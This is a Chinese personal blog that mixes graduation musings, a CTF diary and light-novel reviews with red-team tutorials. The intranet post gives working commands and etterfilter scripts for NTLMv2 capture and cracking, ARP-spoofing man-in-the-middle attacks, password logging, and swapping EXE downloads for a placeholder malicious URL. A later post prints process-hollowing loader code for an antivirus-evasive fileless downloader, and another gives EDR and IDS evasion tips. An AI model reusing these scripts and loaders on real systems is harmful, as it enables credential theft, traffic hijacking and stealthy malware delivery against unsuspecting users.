毕业了

前言

今天毕业典礼,然而却没有我。。。。好吧其实只是我单纯的懒得回学校而已。毕业证和学位证都拿到了,还没到我的手上,等同学帮我寄回来。之前还有点担心自己能不能毕业,毕竟院里一声不吭,虽然说每科都过了,但是就怕漏了那一两门是不是?好在最后虽然破比学院一声不吭,但是它证还是会发的。今天顺利拿到了两证心里也是一块大石头落地了。

四年时光是短暂的,好吧其实我现在还以为自己停留在2020年,从2020年之后,每年的世界感觉过得飞快。特别是大二,完全没有渡过的记忆,因为都是在家,来的时候就大三了。

不过也正是大二那年,让我计算机实战水平有了突飞猛进的进步,虽然说感觉现在还是非常的菜,但是感觉和18年刚进大学的时候比起来又好那么一点点?

不过想来,我这个高中文凭都没有的人,竟然能混出个大学文凭,也是挺有意思的。上大学之前我妈都明确告诉我,一定得混一个出来。不然我就是个初中文凭了。那时候我还不理解是什么意思,结果就这么被我快快乐乐的玩了四年玩了过来。

说起玩的这四年,感觉和群友相比确实一个天一个地,别人都是卷卷卷,而我就是玩玩玩,除开大一,基本就是琴房宿舍教学楼,其中宿舍待得最多,基本都是在玩电脑。看群里每天都在哀嚎卷卷卷,或者就是现充每天吃喝玩乐四处逛逛,感觉属实是两个世界。不过也挺好的,至少我过的挺快乐不是?

不过其中感觉疫情+网课占了很大比例,对于别人来说网课确实是影响效率的东西,但是对于我这种纯摸鱼王来说网课简直就是摸鱼神器,特别是学习通,啊,梦中签到,梦中上课,梦中考试,梦中挂科了属于是(指我因为一整个学期都用自动签到没听过一节课导致不知道考试日期错过考试这回事)。让我这个纯纯懒狗懒上+懒,基本就是一天18小时高强度上网了。

对于学校来说,其实并没有什么好留恋的,当初上这个专业基本也就是图的个大学文凭。虽然有过一段时间的迷茫期,犹豫要不要真的靠大学学的这个专业吃饭。不过最后还是败给了兴趣。所以对于学校来说,并没有什么留恋。

当然也许只是现在并没有啥留恋?毕竟人是个缅怀过去的生物,但是你让我现在一个心野一心想出去闯荡一番的孩子问想不想要回家我也不能假惺惺的回答想回家是吧?

大学之后去干什么?我的想法无非就是换一个地方继续玩电脑,毕竟小学就开始玩电脑,初中也在玩,高中一直都在玩,甚至到了大学,基本都在玩这台电脑。从脚本小子到程序员再到立志当一名带嘿阔,盗取无数QQ号,写出一个属于自己的熊猫烧香,就是当初的梦想。

虽然早就到完成了当初学习这门技术时候的梦想,甚至比当初的梦想还要遥不可及。但是走到这一步,也愈发发现自己的菜和水平低下目光短浅。

大学四年给我带来最有价值的是什么?确实四年间我拥有了比之前都富裕的时间研究电脑,让我电脑水平确确实实的突飞猛进。但是最有价值的估计是给了我一份让我某天玩不动电脑了,能安心继续活下去养老用的备用技能吧。毕竟咱也是确确实实到过学校当过老师的人了,没准哪天,你们就能看到鳖老师在音乐课上放着音乐开着黑框框说对着台下一群不明所以的学生表演着他那三脚猫功夫。也不知道有没有哪个懵懂的少年少女那时候会被这无聊过时的技术吸引走上一条同样的带黑阔之路(笑)。

Tags: 随笔, 毕业

工作组环境下的内网渗透:一些基础打法

前言

好几次的情况下,打下了办公机,和服务器内网不同的是,办公网中,除了极少数的用户机器会有运行一切奇奇怪怪的服务,包括但不限于EveryThink(那个搜索程序叫啥我忘了),向日葵啊,或者各种奇奇怪怪一些RMI,也只有一些开发机才会有跑些web。

但是大部分时候,大部分机器就是一个沉默术士,一看80,啊,没开,3389,啊,没开,开了啥?445,135,139没了,怎么办?这时候我们除了使用,啊,MS08-067,MS17-010,19-0708(基本都蓝),这些,如果这些都没有,估计大部分时候只能干瞪眼了。

这就是现在的,过于注重web而忽略了传统艺能。我记得早在我初中的时候,那群黑阔天天玩的就是这些,什么水滴,什么奶瓶,什么BT5什么ettercap进行劫持啥的,什么明教教主BT5学习使用。当初觉得阿这玩意阿怎么感觉没有什么卵用阿哪里有人会傻傻的给你劫持。现在不都是打web阿打数据库阿打服务什么的嘛。

现在想来还是当时的我太naive了。那时候的内网环境和现在的内网环境还是有很大差别的。

极简模式

简单方式,如果你直接日下路由器。无论用什么方法,直接监听445端口,并捕获为pcap。

tcpdump.png

监听一段时间,可以使用 NTLMRawUnHide 项目来从pcap中提取ntlmv2。直接运行:python .\NTLMRawUnHide.py -i .\b.pcap

tiqu.png

然后,我们要找的就是类似于

test::DESKTOP-K6CQSK4:c42c85ec072f126d:295a6b646463dd1cdb99baa88513174b:01010000000000004308b7d1045bd8014d2895bd5d65fd940000000002001e00570049004e002d00460038004600450054004c004400540049004f004a0001001e00570049004e002d00460038004600450054004c004400540049004f004a0004001e00570049004e002d00460038004600450054004c004400540049004f004a0003001e00570049004e002d00460038004600450054004c004400540049004f004a00070008004308b7d1045bd801060004000200000008003000300000000000000001000000002000005665c49fa02134c71e7c11a593461da9cda996aebf9f9b6e9e1d74175dfb57400a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0032002e003100380030000000000000000000

这样的一段内容,提取出来,保存为txt文件,我们就可以使用hashcat爆破了。我们这里假设保存为ntlmv2.txt。

然后使用hashcat,执行hashcat.exe -m 5600 ntlmv2.txt -a 3 ?l?l?l?l?d?d?d --force

这里我使用的是掩码爆破,因为只是为了测试,实际情况请自行选择字典或者其他掩码。

hashcat.png

可以看到,对于这种弱口令,基本1秒就爆破出来了正常情况下,和服务器环境不同,工作组计算机并没有密码策略要求,所以密码通常不会太复杂,基本都是 单词+生日数字,甚至纯数字为主,所以基本都挺好爆破的。当然前提还是得抓取到ntlmv2。

下次遇到什么飞塔防火墙啊,就可以靠这些去打里面的机器了.jpg

极简模式II:使用responder

直接在kali中,运行responder -I eth0 -w,responder会自动在局域网内使用LLMNR和NetBiOS等协议进行应答。

具体体现在

链路局部范围内每台支持LLMNR,并且被配置为响应传入查询的主机在收到这个查询请求后,会将被查询的名称和自己的主机名进行比较。如果没有找到匹配的主机名,那么计算机就会丢弃这个查询。如果找到了匹配的主机名,这台计算机会传输一条包含了自己IP地址的单播信息给请求该查询的主机。

而responder原理就是无论收到是啥,都应答这个LLMR响应,导致客户以为这个主机是存在的。

当我们的目标在计算机内输入了一个没有人应答的主机名,这时候我们的responder就会自动应答,让客户机以为我们是他想请求的机器,并发送凭证,这时候我们就抓到了他们的ntlmv2了。

resp.png

然而这个方法有个非常大的局限性就是必须要目标手动输入不存在的主机名,然而一般情况下谁会乱输入主机名啊。除非在渗透过程中已经进入了内网,同时使用钓鱼的方式在目标中插入暗桩,例如文件加载资源等,或者类似于在内网打下的服务器中插入XSS,自动加载UAF路径等。但是这就不是0click了。而主动等待用户输错又是天方夜谭。所以此时我们就需要主动出击。

主动出击:ETTERCAP内网嗅探与劫持

这时候就可以掏出我们的传统异能工具,ettercap和arpspoof之类的劫持工具了。ettercap的攻击原理就不过多阐述。攻击方法基

使用ettercap能达成类似与路由器那样直接tcpdump分析内网的数据包的类似操作。但是如果可以,能打到路由器还是最好还是先打路由器。

毕竟arp劫持在现在环境下,随随便便一个杀软就能挡住并且能提醒,直接从无感攻击变成有感攻击,导致管理员发现任务失败直接GG。

所以我们的思路就是打下路由器,然后就能进行一些更高阶的操作,或者直接嗅探HTTP文件,把文件替换成我们的木马等。

直接运行sudo ettercap -i 网卡 -T -M arp:remote /目标内网机器IP// /内网网关// ,这样我们就可以看到目标机器的所有流量了

ettercap.png
这时候有流量了,可以选择嗅探cookies或者是嗅探密码。这时候我们就需要用到etterfilter,用于选出我们想要的流量。

直接查看一个文档 etterfilter - linux man,直接进行一个仿写,我们也不做其他的,直接把他们包含Cookies和user


if ( tcp.src == 80 || tcp.dst == 80) { 
        if (search(DATA.data,"password")) {
                log(DATA.data, "/tmp/tmp.log");
        }
}

上面是保存http中带有password的,甚至可以把第一句tcp.src == 80也给删了,只保留我们发往远程的请求,因为一般登录的时候是我们发给用户,把上面这些保存为a.filter,然后执行etterfilter a.filter -o a.ef就会生成一个ef文件,然后使用sudo ettercap -i eth1 -T -q -F a.ef -M arp:remote /目标ip// /网关ip//,就可以开始嗅探http请求的明文流量了。

QQ截图20220430175148.png

或者,可以进行一个下载文件的替换。直接贴一个网络上找来的脚本

if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, “Accept-Encoding”)) {
        replace("Accept-Encoding", "Accept-Mousecat");
        msg("zapped Accept-Encoding!\n");
    }
}
if (ip.proto == TCP && tcp.src == 80) {
    replace("keep-alive", "close" );
    replace("Keep-Alive", "close" );
}
if (ip.proto == TCP && search(DATA.data, ": application") ){
    msg("found EXE\n");
    if (search(DATA.data, "Win32")) {
        msg("doing nothing\n");
    } else {
        replace("200 OK", "301 Moved Permanently
        Location: http://你的恶意exe/setup.exe");
        msg("redirect success\n");
    }
}

这个代码是直接替换下载EXE地址302到我们的恶意文件地址,缺点是下载后别人看到下载地址是直接显示你的而已exe地址,高级一点的可以直接在下载原始exe过程中,直接把它的exe流数据替换成我们的恶意exe数据流。再高级一点的甚至可以直接在exe流中插入shellcode然后修改入口点。。当然这个过于复杂也没什么必要就是了。

以上两种方式虽然都挺好用,但是如果目标们就是tmd不访问路由器或者不下exe怎么办呢?

配合我们之前使用的responder,只要在http流量中插入内网的UAF地址,然后使用responder进行一个LLMNR欺骗甚至使用smbreplay,诱导用户发送他们自身的ntlmv2,不是就能达到我们想要的效果了?

直接对fileter修改

if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
        replace("Accept-Encoding","Accept-AAAA");
    }
}
if (ip.proto == TCP && tcp.src == 80) {
    replace("head>", "head> <img src=\"\\\\fake_hostname\\pixel.gif\"> ");
}

然后等待发送ntlmv2即可。。然而如今的正常浏览器都会遇到Not allowed to load local resource,并不允许自动加载。。也只有某些垃圾浏览器或者远古浏览器,比如IE或者一些webview才会自动引用这些然后发送ntlmv2了。

结语

和Web服务不同,在面对工作组计算机中,除了MS17这类暴力服务洞。我们只能从主动进攻慢慢变成了一个默默的被动等待者。蛰伏在局域网下收集数据等待机会。然而随着安全技术的发展,我们主动出击的手段越来越少,ARP攻击如今只要是个杀软就能防御,默认https,允许http的站点越来越少导致攻击越来越难。甚至浏览器同源策略不允许自动加载本地文件导致ntlmv2发送不出来等等因素,这可能也是导致内网mitm越来越淡出我们视野的原因。

Tags: 内网, 红队, 劫持, mitm, 嗅探, 工作组, ettercap

近况

快毕业了,写论文中,烦躁,没时间更新。

Tags: none

总结下内网应对edr和蜜罐或者ids的没用小经验

总结

不要爆破!不要爆破!不要爆破!

不要顺序扫描!不要顺序扫描!不要顺序扫描!

尽量不要跨段操作!不要跨段操作!不要跨段操作!

接下来就全看听天由命了。

原因

爆破必死,不用多说。

在不知道edr或者蜜罐地址的时候,尽量单端口扫描,选择奇数偶数混合段的IP顺序扫描,不要对着一个目标顺序1-65535。

不要随意跨网段扫描,因为有些IDS会审查网关流量。

以上就是目前在遇到的情况,当然因为我日的少,肯定还有很多设备没涵盖到,或者是有些特别nb的设备以上几个方法都能审查到,那就没什么办法了。其他的遇到了解决方案的话再写吧。

Tags: 内网, 流量对抗

线下摸鱼

前言

这次去线下,很累,但也很好玩,同时也是没发挥好的一局。

说来惭愧其实是被省里安排进线下的。因为无论是线上线下都是一个人打。。然后线上距离进线下还有一定距离。

原本然后想着算了就划水了,连wp都懒得交。结果因为是本地政府办的,所以特地安排了个“本地代表队”。

然后就愉快的进去划水了。
photo_2021-04-17_23-21-32.jpg

经过

和预期的不同,这次比赛是打靶场的形式。并不是AWD形式,这是开打之前我才知道的。甚至在比赛之前一晚的讨论都是关于AWD的,
详情可以看

靶场还是比预期的熟悉很多,上来分为7个资产和一堆其余的小资产,都在两个/24段中,之后你需要收集这些资产,打下这些站点,就和现实中有点类似,不过简化了内网渗透的流程。特别是域渗透啊钓鱼啊这方面都省去了。不过总体来说还是十分的好玩的。

有幸混了个首杀1血,直接拿tp洞打的。那些非资产的那些东西,是允许搅屎的。打完上去把shell或者漏洞点改了之后别人就登不进去了,所以基本就是比个拼手速的过程。

我也是在每个点打过去之后才知道。一个人手动慢慢每个访问过去,把所有资产理清楚之后,站点也基本被其他人打完了。

还有就是,他这个没办法反弹到我们的攻击机系统,然后冰蝎那个正向shell和rege那啥的正向反弹shell代理实在是tmd不能用,下次我一定tmd要整个web组件让cs可以网页正向上线,淦。导致内网机器压根没打。

甚至被搅屎到,我还要靠着爆破别人的webshell才能上车。因为有个组件是phpstudy部署的。然鹅我第一次用xray没扫到。。甚至赛组给了提示之后我每次都用各种exp尝试都失败,这时候你无法知道到底是你的方式有问题还是靶机有问题,不敢去找裁判。

导致最后才根据别人的车上了这个环境。

一个人打是真的太难太累了。很多都没发挥出来,甚至不如和群友打的1/10的水平。最后由于实在太菜,只摸到了个这个
photo_2021-04-18_00-49-41.jpg
(不是俺的手)

题外话

不过好处是面到了一个很早以前认识的师傅。认识的时候都不敢讲话,俺害羞。

最后还收到了Canarypwn 托同学带的明信片,真的是太太太太感谢辣

photo_2021-04-18_00-51-39.jpg

拖着保肝16小时的身躯写完了这个,不行了太困了睡啦

Tags: ctf, 线下

河野裕《昨日寻找星星的借口》 && 三秋縋《三日间的幸福》 读后感

起因

今天再顺着课闲得无聊把《三日间的幸福》给看了,之前就看过三秋縋老贼的书那年夏天xxxxxx电话系列的书,看完了这一本不如说老贼的套路一如寻常。而且正好周末了,我现在也正好想摸鱼,就顺带写写一些这些的感想吧。

先说河野裕的《昨日寻找星星的借口》

观前提醒,全文非常主观,作者视野狭义,文笔垃圾。如有任何不同意见已您的为准。

同时为了不剧透,推荐看完后再看以下的感想

昨日寻找星星的借口

2935s.jpg

那时,我曾恋慕着她。 如果说这句话里有什么谎言,也就是我用了过去时罢了。
升学到全寄宿制初高中一体校后,坂口孝文与茅森良子成了同学。茅森天生有一双绿色的眼睛,在这个表面上已经不会因眼睛的颜色而产生歧视的国家,她立志成为首相,想创造真正平等的社会。与坂口变得亲近后,茅森对他说出了自己的秘密。茅森会成为图书委员,是为了寻找电影导演——清寺时生的珍稀剧本《海豚之歌》。

看之前我还没注意到这是《重启咲良田》的作者,只是看着封面和简介有点意思就打开了。毕竟上课时间太无聊了只想随手看一些短篇作品。看着这简介我可能感觉这是“哦,又是一本轻文学”,看完之后,有一点难懂,但是又感觉也就普通的“就这?”。

书里塑造了两个阶级“黑眼睛”和“绿眼睛”,黑眼睛占大多数,绿眼睛则受到了各种原因的压迫。

其中男主是黑眼睛,女主是绿眼睛。然后女主想创造一个不平等的世界,但是实际上是想寻找自己妈妈参演的一部作品《海豚之歌》,原因是收到这本书的内容所打动。

然后某种原因男女主相识相遇发生一系列故事然后离别然后重逢。
7148I3vmq4L.jpg

从这就可以看出来,这是一个关于打着恋爱旗号的思潮对抗的题材。这本书在我看来就是每个人都散发着自己的正义,然后互相伤害,然后互相和解的事情。

用正论抒发自己的正义,配合轻文学优美辞藻以及细腻的人物刻画,初看可能会觉得这本书很高大上,然而认真理解玩内容可能具体含义也就那样。

全文看似围绕着“平等”两个字展开,如果说这个小说是一本议论文,那么“平等”就是这个小说的论题,然而这篇议论文,却在小说最后离题了。

剧情总体高潮点在于三个地方,一个是从友人生体缺陷,还有一个是黑眼睛的压迫和绿眼睛的反抗,最后是男女主两个人独立的思潮对抗。

前面两点对于我们来说看的似乎可以算是有点浅显了,因为书中的所谓”反抗“的做法在我个人认为程度算是小孩过家家。毕竟我们曾经可是真的推翻过三座大山的民族。书里的做法不说革 命,甚至连修正主义都算不上。

既然抛出了“公平”这一论题,那么最后有解决吗?实际上并没有,这么长公平的铺垫,不过是最后为了《海豚之歌》这一意象所展开。《海豚之歌》是讲述着一个没有压迫,大家都是绝对公平的世界。女主就是追求着这样的世界,然而因为各种原因女主没有看到结局。男主和女主用自己理想所创造的伪物《海豚之歌》遇到了现实中的一把无情的尖刀:真实《海豚之歌》的结局是个Bad End。

然而,其实全文的重点不在于公平,作者主要想表达的是善意的"歧视"是否也算一种不公平,女主养父因为女主的眼睛问题怕女主受到歧视,而选择带有善意的“歧视”不让女主去那所学校,而老师因为基友身体的原因,试图修改原本顶下的路程为好走的路。

当然最后女主和基友都成功防抗过了。女主最后进了学校并如愿以偿的站在了顶点,而基友靠着自己的意志走完了全程。这是前两个矛盾点。每个人都抒发了自己的正义,然后每个人都为自己的正义而战,看起来确实挺不错?

最后一个矛盾点,是在于男主发现海豚之歌的结局。想的是保护女主不破坏女主的希望,而女主是想只要我们两在一起无论什么我们都能解决。最后两人决裂然后再过许久重逢。

看到问题了吧,不仅“平等”这一个问题根本就没得到解决。甚至处理都没有,一切都只是为了男女主的冲突引发的高潮而出现的。甚至最后男主和女主的对立面的矛盾点,和前面两个矛盾点有点实在有点强差人意。之前带有善意的“歧视”是因为客观上的身体原因。而男主为什么就不能单纯以心疼的角度而言来诠释自己的不告诉女主的行为?这是否又和公平有关系?

前期铺垫了许多海豚之歌的内容,然而最后高潮的缺不在于海豚之歌,海豚之歌完全沦为了工具人

前期看似高大上的思想,不同之间的思潮对抗,冲突,似乎瞬间都消失了一般。成为了男女主感情抒发的垫脚石。所以我才觉得这本书“就这?”

当然我也不是觉得这样不好,因为这些命题就等于大学生辩论赛的论题一样没有人是错的,强行得出结论反而会被说成观点狭义。又或者说作者认为在女主打破规矩成为学生会长之后就代表绿眼睛已经成功反抗了压迫了?

最后不只对于中间“公平”的定义没有讲完整。就连最后恋爱的结局也是给我们一个开放式的Happy End,为什么说是开放式Happy End呢?因为最后boy 确实meets girls again了,但是实际上发的糖也不多,基本就是尾声中一两句的级别,过于生硬。

总体而言,就是一本将着大道理实际上还是普通谈恋爱的小说。看似精美,实际上也就这样。不过作为一个普通的短篇还算不错。也不用指望它能讲啥大道理。就是普普通通的“就这?”

以上,是作为正常文学来评价该书的内容。那么作为一本轻小说呢?

作为轻小说而言,它还是合格的。毕竟对于轻小说来说,以上的缺点都不用在意,因为那不是作为轻小说该有的职责。

单单从人物细腻的刻画,和合理并不突兀的剧情来讲,这本小说就已经是一本非常不错的轻小说了。

反正如果出港版或者台版我是会考虑入手的。

《三日间的幸福》

311978700000.jpg
这本书和上面那本相比,槽点就没那么多了
这书和之前河野裕的那本不太一样在于,这本书是爱情作为主线,其他关于人生的意义这些宏大的念头反倒是本书的支线。。和上次说的《昨日寻找星星的借口》的不同点大概就在这里。
这种模式我倒是比较喜欢,毕竟动辄人生意义社会伦理什么的对我来说太过遥远了。。并且我也不是什么文学少年,对我这种直男大脑来说可能太过复杂。

总之,《三日间的幸福》从架构上来说是我喜欢的,短小精简唯美,相比于长篇连载,我一直都挺喜欢这种短小精美的短篇风格,当然更主要的原因是因为只有一本好搜集全,钱包也好说,同时我也有耐心看得下去。

虽说如此,然而依旧是三秋縋老贼一贯的套路。抛开了给出的命题之外。三秋縋的套路就十分浅显易懂了。戏剧性的“虐”再给出一个略微“突出”的结尾。不是说这个不行,但是主要是“虐”的太套路化了。难以形成共鸣。

为了戏剧小说,三秋縋可以说算得上是从各种方面虐过一遍,甚至还要拉出青梅虐一下来推动下剧情。

虽然我知道大部分程度是把“虐”作为包装小说的情节发展的必需品,但是长久这样下来还是会审美疲劳。

除了这个槽点之外,还有一个槽点就是情感铺垫略少进度太快了。。不过这个对于短篇小说来说这个缺点就完全是可有可无的。

总的观感就是这样了。实体已入。而且看样子台版有可能也快绝版的样子。

如果不看老贼其他系列,单看这一本,不得不说它确实算得上是一个包装精美的“艺术品”。而且还是我挺喜欢的那种“艺术品”

other

说带说一下,《三日间的幸福》这种结局我还是挺喜欢的,相比《昨日寻找星星的借口》这样在高潮中结束。和《少女终末旅行》《妹妹人生》结局差不多,在黑暗中散唯一一只萤火虫努力的闪耀光芒,最后燃尽死去的感觉差不多。就像舞台剧一样,在璀璨过后安静被人遗忘的落幕并给予我们遐想的空间。

这么看来我还确实是挺喜欢这类作品的。不知道还有没有类似的作品摩多摩多

Tags: 轻小说, 轻文学, 文学鳖?

博客六周年辣

前言 & about me

从当初无忧无虑的中二少年,到现在逐步快要跨入社会的二逼青年。没想到这个站点竟然陪了我六年之久。

感觉对时间的给概念变得愈来愈模糊了。从以前的 “时间啊,请过的快一些流逝吧”,到现在,一转眼间,去年今日之事仿佛就在昨日。

可以很明显感觉到时间流逝的速度有两个档口,一个是08年之后,这个是对于社会的变化,因为全中国直接步入信息社会,我们每天接受的信息密度呈几何倍增长,所以网络上都觉得从那之后,时间变快了。

还有一个档口,是对于我自己的。可以说是从18年高考的时候吧。原因我就懒得打了,不是什么不好开口的东西只是单纯因为懒。

愈发愈觉得自己菜,十分的fw。但是又觉得这样菜也不是什么坏事,因为没有什么好比较的。反正又不是没有上进心去学习,做好自己就行。尽自己最大努力吧。

天塌下来了有高个子顶着

不过我还是得努力学习,立刻目标是争取能自己养活自己

第二目标是希望在上面的基础上找的是自己喜欢的工作。

about 博客

和以前的情况不通,以前是怎么挤都挤不出内容只好谈天说地聊各种奇怪的东西。

现在肚子里确实有一些东西。不过都是不太好发出来的东西。

只能随手发一些不那么敏感的东西。

当然更大原因是因为懒。毕竟要发文章还是得需要准备的。

总之就这么多了。感谢大家的支持。虽然不知道还有没有人看这个无聊的站点就是了。

Tags: 周年

无文件下载者计划 & 连载

前言 & 挖坑

项目地址:9bie / RmExecute

最近流行文件不落地,然后因为jio本又被杀的多了,辣么有什么办法快速弄出不落地免杀效果又好的东西呢?

对没错就整个shellcode的payload吧,可以用某种 “伪” 方法把一些exe弄成不落地and shellcode得到形式。

目前设想有直接用VS2017,弄个下载者的payload,调用win32 API,然后下载DLL/EXE,直接内存加载。

这样虽然不是严格意义上的payload,但是这是最简单的方法

或者使用反射DLL方法,直接在内存中展开。这就是比较主流and常规的用法了。不过直接payload整反射DLL似乎有点难。

按照我这破水平,估计就是先远程下载内存加载反射DLL的DLL然后再由反射DLL去下载DLL payload再反射加载。

emmm怎么感觉有点饶,不过应该就这样吧。

研究资料

开始

首先,这次我们不从0开始写shellcoded了。直接整个shellcode框架。这里我们使用上面第二个链接的RcDllShelcode作为开头项目,因为这个框架比较简单(我看得懂,顺带强烈推荐这个作者的文章

用C++撰写shellcode.doc

分析的十分好,简明直观的点出了然而初步检查下来之后发现,这个作者的api实现部分是直接使用字符串来定位api地址。这会导致shellcode变得十分容易分析。

这时候我们就可以参考别的项目文件

这里我参考了PIC_Bindshell 这个项目,写的也很好,然而我已经使用上面那个项目作为入口了,就还是继续用上面那个吧。这个项目的API项目和我之前那个方法差不多,只不过别人的更加优雅,人家是PEB找getprocxxxx那个api之后,直接计算hash就能得出函数在文件中的地址,之后就可以直接调用了。。当然缺点也有,就是得自己预先硬编码一个hash表,略微的麻烦,但是也至少比直接字符串搜索api地址比较好。

相关原理在这里:详解Windows API Hashing技术

PIC_Bindshell使用的是RORT32加密hash,但是人家作者给出了计算脚本,省去了我们去编写的麻烦。直接脱下来使用。

hash.png

之后就是开始计算我们第一阶段需要的WINAPI了。

基础的有msvcrt所需的几个常用功能,memcpy,memset,malloc,free这些,之后就是WinHttpOpen,WinHttpOpenRequest这些函数,全部加入我们所需的hashmaping里,很轻松的我们就有如下

hash2.png

之后,我们首先先整个下载功能

下载功能

同上,故技重施

winhttp.png

之后就是一系列黑魔法调用winapi。。。总而言之。。我们成功的完成了下载功能。

内存运行

之后,我们当然就是直接借鉴(抄)一份,内存运行的代码啦。

直接贴上代码

bool RunPortableExecutable()
{
    
    IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
    IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
    IMAGE_SECTION_HEADER* SectionHeader;

    PROCESS_INFORMATION PI;
    STARTUPINFOA SI;

    CONTEXT* CTX;

    DWORD* ImageBase = NULL;; //Base address of the image
    void* pImageBase = NULL;; // Pointer to the image base

    char CurrentFilePath[MAX_PATH];

    DOSHeader = PIMAGE_DOS_HEADER(newbuff); // Initialize Variable
    NtHeader = PIMAGE_NT_HEADERS(DWORD(newbuff) + DOSHeader->e_lfanew); // Initialize

    fn.fnGetModuleFileNameA(0, CurrentFilePath, 1024); // path to current executable

    if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
    {
        //ZeroMemory(&PI, sizeof(PI)); // Null the memory
        //ZeroMemory(&SI, sizeof(SI)); // Null the memory
        fn.fnmemset(&PI, 0, sizeof(PI));
        fn.fnmemset(&SI, 0, sizeof(SI));
        if (fn.fnCreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) //make process in suspended state, for the new image.                                                                                      
        {
            // Allocate memory for the context.
            CTX = LPCONTEXT(fn.fnVirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
            CTX->ContextFlags = CONTEXT_FULL; // Context is allocated

            if (fn.fnGetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
            {
                // Read instructions
                fn.fnReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
                pImageBase = fn.fnVirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase), NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

                //fix randomly crash
                if (pImageBase == 0) {
                    fn.fnResumeThread(PI.hThread);
                    return 1;
                }
                else {
                    // Write the image to the process
                    fn.fnWriteProcessMemory(PI.hProcess, pImageBase, newbuff, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
                    for (int count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
                    {
                        SectionHeader = PIMAGE_SECTION_HEADER(DWORD(newbuff) + DOSHeader->e_lfanew + 248 + (count * 40));
                        fn.fnWriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress), LPVOID(DWORD(newbuff) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
                    }
                    fn.fnWriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

                    // Move address of entry point to the eax register
                    CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
                    fn.fnSetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
                    fn.fnResumeThread(PI.hThread); //?Start the process/call main()
                }

                return true; // Operation was successful.
            }
        }
    }
    return false;
}

怎么说,效果拔群

photo_2021-02-22_17-09-53.jpg

特地选了个比较古老并且特征比较明显的试了下某数字,完全无弹窗也无响应(当然和我没有写启动有很大的关系。

至此,咱们首要的目标就这么完成啦!

进阶 - payload加密

虽说我们的API使用了winapi hashing技术,然而再查找地址前的loadlibrary中引用的那些DLL名称以及我们url地址我们也都没有进行加密,比较推荐的是XOR加密,base64加密也不是不可以,但是base64的硬编码了一个base64表特征也十分明显,当然也可以打乱base64表增加逆向难度。。。然而CTF考过多少次了应该没有人解不开打乱b64表之后的内容不会吧不会吧不会吧?

XOR比起base64,短小高效,虽然对着明眼人可能一眼就看出来是XOR加密,但是在本来就短小的shellcode中比起一整个base64表,xor已经是十分小巧且可以接受的,我才不会说是我懒得写base64呢。

进阶2 - 反射DLL

虽然说我们已经完成了内存加载并且成功的免杀无弹窗上线了,然而在下发可执行文件的时候,一下下发一整个文件过去,可能会有大量的代码我们是暂时用不到的,并且这样可能增大了被dump分析的风险。

那么我们有没有办法,再想要的时候,获取到这部分代码片段,再下载执行呢?

有两个办法,一个是把功能全部shellcode片段化,让每个功能都成为shellcode,这样太奢侈也太麻烦了。(俺觉得就算是APT也不会这样搞)。所以另外一个技术诞生了。

那就是反射DLL执行,原理和内存执行exe差不多,只不过我们是把DLL精简成"最小PE"的模式,之后把这部分dump下来,手动修补再RVA展开执行。

//未完待续

Tags: 汇编,